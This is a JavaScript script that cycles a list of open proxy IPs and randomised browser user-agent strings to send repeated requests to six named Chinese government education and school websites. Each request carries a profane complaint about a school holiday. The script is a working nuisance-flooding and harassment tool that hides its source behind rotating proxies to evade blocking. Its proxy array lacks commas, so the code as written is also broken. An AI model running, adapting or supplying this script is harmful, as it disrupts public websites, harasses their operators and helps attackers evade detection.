const axios = require('axios'); // 目标网站的URL数组 const TARGET_URL = ["http://www.jxxfzx.com/", "http://jyt.jiangxi.gov.cn/", "http://edu.nc.gov.cn/", "http://www.jxeea.cn/", "http://edu.ganzhou.gov.cn/", "http://www.jxeea.cn/col/col72018/index.html?index=1"]; // 待使用的IP地址列表数组 const IP_LIST = ["176.113.73.104:3128" "176.113.73.99:3128" "67.205.190.164:8080" "46.21.153.16:3128" "84.17.35.129:3128" "104.248.59.38:80" "12.156.45.155:3128" "176.113.73.102:3128" "142.11.222.22:80" "107.178.9.186:8080" "34.29.41.58:3128" "137.184.197.190:80" "174.126.217.110:80" "38.51.49.84:999" "143.42.194.37:3128" "66.63.168.119:8000" "52.41.249.10:80" "67.22.28.62:8080" "8.242.178.5:999" "43.153.66.118:80" "3.128.142.113:80" "108.161.128.43:80" "24.172.34.114:49920" "155.50.208.37:3128" "64.225.4.63:9993" "155.50.241.99:3128" "34.135.166.24:80" "34.75.202.63:80" "209.145.60.213:80" "159.203.104.153:8200" "50.113.36.155:8080" "162.144.236.128:80" "155.50.213.149:3128" "45.61.187.67:4009" "3.143.37.255:80" "184.72.36.89:80" "24.230.33.96:3128" "142.147.114.50:8080" "52.24.80.166:80" "155.50.215.37:3128" "109.122.195.16:80" "157.230.226.230:1202" "167.99.174.59:80" "191.101.1.116:80" "192.81.128.182:8089" "68.183.143.134:80" "38.56.70.97:999" "37.120.222.132:3128" "89.249.65.191:3128" "144.91.118.176:3128" "85.214.94.28:3128" "167.172.109.12:39452" "95.111.226.235:3128" "167.172.109.12:40825" "185.189.112.157:3128" "185.189.112.133:3128" "85.214.244.174:3128" "167.172.109.12:41491" "167.172.109.12:39533" "167.172.109.12:46249" "88.99.10.252:1080" "167.172.109.12:37355" "82.165.105.48:80" "144.91.106.93:3128" "188.34.164.99:8080" "46.101.102.134:3128" "116.203.27.109:80" "207.180.250.238:80" "88.99.148.60:8111" "141.147.33.121:80" "46.101.160.223:80" "207.180.252.117:2222" "78.47.103.89:8080" "18.195.164.53:7777" "159.69.214.139:3128" "206.189.130.107:8080" "15.207.196.77:3128" "103.76.253.66:3129" "103.174.102.127:80" "103.155.54.26:83" "103.51.21.250:83" "103.78.170.13:83" "182.72.203.246:80" "103.125.154.233:8080" "103.243.114.206:8080" "103.134.165.38:8080" "59.92.70.176:3127" "103.242.119.88:80" "103.206.208.135:55443" "103.180.73.107:8080" "103.160.207.49:32650" "103.82.157.102:8080" "13.229.107.106:80" "13.229.47.109:80" "119.81.71.27:80" "119.81.71.27:8123" "193.56.255.179:3128" "139.180.140.254:1080" "104.248.146.99:3128" "18.141.177.23:80" "193.56.255.181:3128" "188.166.252.135:8080" "34.87.103.220:80" "34.126.187.77:80" "165.154.236.214:80" "51.79.249.186:3128" "18.142.81.218:80" "156.67.217.159:80" "79.122.230.20:8080" "46.160.129.189:3128" "85.172.0.30:8080" "194.186.35.70:3128" "185.174.137.30:3128" "92.255.205.129:8080" "91.213.249.200:80" "82.146.37.145:80" "77.91.74.77:80" "94.26.241.120:8080" "194.186.127.60:80" "77.233.5.68:55443" "85.235.184.186:3129" "46.0.203.186:8080" "90.154.124.211:8080" "149.126.101.162:8080" "51.158.68.133:8811" "51.158.68.68:8811" "159.8.114.37:80" "35.180.188.216:80" "51.158.172.165:8811" "159.8.114.37:8123" "146.59.243.214:80" "31.207.38.66:80" "46.105.35.193:8080" "81.250.223.126:80" "51.159.134.210:3128" "54.36.81.217:8080" "5.135.136.60:9090" "51.178.165.36:3128" "37.187.88.32:8001" "119.81.189.194:80" "119.81.189.194:8123" "193.239.86.249:3128" "193.239.86.247:3128" "193.239.86.248:3128" "43.132.184.228:8181" "202.162.105.202:8000" "20.187.77.5:80" "165.154.224.14:80" "223.18.60.191:8080" "202.162.105.202:80" "103.234.55.173:80" "123.202.159.108:80" "20.205.115.87:8080" "119.237.43.106:80"]; // 请求内容 const text = "sb信丰中学五一就tm放一天假,还tm橙色预警都风雨无阻是吧"; // 发送HTTP请求函数 async function sendRequest(ip, url) { const RANDOM_USER_AGENT = generateUserAgent(); try { // 使用axios发送GET请求 await axios.get(url, { headers: { 'User-Agent': RANDOM_USER_AGENT }, proxy: { host: ip.split(':')[0], port: ip.split(':')[1] }, data: text, }); console.log(`Successfully sent request to ${url} using IP ${ip}`); } catch (error) { console.error(`Failed to send request to ${url} using IP ${ip}: ${error.message}`); } } // 生成随机的仿真用户代理 function generateUserAgent() { return `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.${30 + Math.floor(Math.random() * 3)}.${600 + Math.floor(Math.random() * 50)} (KHTML, like Gecko) Chrome/98.${4000 + Math.floor(Math.random() * 100)}.${100 + Math.floor(Math.random() * 50)} Safari/537.${36 + Math.floor(Math.random() * 3)}`; } // 主函数 async function main() { // 发送请求 for (const ip of IP_LIST) { for (const url of TARGET_URL) { await sendRequest(ip, url); await new Promise(resolve => setTimeout(resolve, 200)); // 等待200毫秒 } } } // 调用主函数 main().catch(error => console.error('Error:', error));